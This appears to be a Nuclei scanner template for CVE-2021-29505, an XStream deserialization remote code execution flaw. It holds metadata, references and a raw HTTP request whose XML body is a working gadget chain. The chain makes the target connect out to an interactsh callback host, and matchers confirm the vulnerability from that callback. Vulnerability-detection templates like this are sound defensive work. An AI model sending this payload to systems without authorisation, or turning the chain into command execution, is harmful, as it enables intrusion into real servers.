112 lines
5.0 KiB
YAML
112 lines
5.0 KiB
YAML
id: CVE-2021-29505
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info:
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name: XStream <1.4.17 - Remote Code Execution
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author: pwnhxl
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severity: high
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description: |
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XStream before 1.4.17 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
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reference:
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- https://paper.seebug.org/1543/
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- https://github.com/vulhub/vulhub/blob/master/xstream/CVE-2021-29505/README.zh-cn.md
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- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29505
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- https://github.com/x-stream/xstream/security/advisories/GHSA-7chv-rrw6-w6fc
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- https://nvd.nist.gov/vuln/detail/cve-2021-29505
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remediation: Patched in 1.4.17.
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 8.8
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cve-id: CVE-2021-29505
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cwe-id: CWE-94,CWE-502
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epss-score: 0.02373
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tags: oast,vulhub,cve,cve2021,xstream,deserialization,rce
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metadata:
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max-request: 1
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http:
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- raw:
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- |
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POST / HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/xml
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<java.util.PriorityQueue serialization='custom'>
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<unserializable-parents/>
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<java.util.PriorityQueue>
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<default>
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<size>2</size>
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</default>
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<int>3</int>
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<javax.naming.ldap.Rdn_-RdnEntry>
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<type>12345</type>
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<value class='com.sun.org.apache.xpath.internal.objects.XString'>
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<m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
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</value>
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</javax.naming.ldap.Rdn_-RdnEntry>
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<javax.naming.ldap.Rdn_-RdnEntry>
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<type>12345</type>
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<value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
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<message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
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<parsedMessage>true</parsedMessage>
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<soapVersion>SOAP_11</soapVersion>
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<bodyParts/>
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<sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
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<attachmentsInitialized>false</attachmentsInitialized>
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<nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
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<aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
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<candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
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<names>
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<string>aa</string>
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<string>aa</string>
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</names>
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<ctx>
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<environment/>
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<registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
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<java.rmi.server.RemoteObject>
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<string>UnicastRef</string>
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<string>{{interactsh-url}}</string>
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<int>1099</int>
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<long>0</long>
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<int>0</int>
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<long>0</long>
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<short>0</short>
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<boolean>false</boolean>
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</java.rmi.server.RemoteObject>
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</registry>
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<host>{{interactsh-url}}</host>
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<port>1099</port>
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</ctx>
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</candidates>
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</aliases>
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</nullIter>
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</sm>
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</message>
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</value>
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</javax.naming.ldap.Rdn_-RdnEntry>
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</java.util.PriorityQueue>
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</java.util.PriorityQueue>
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol
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words:
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- "dns"
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- type: word
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part: body
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words:
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- "timestamp"
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- "com.thoughtworks.xstream"
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condition: or
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- type: word
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part: header
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words:
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- "application/json"
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- type: status
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status:
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- 500
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# Enhanced by md on 2023/04/13
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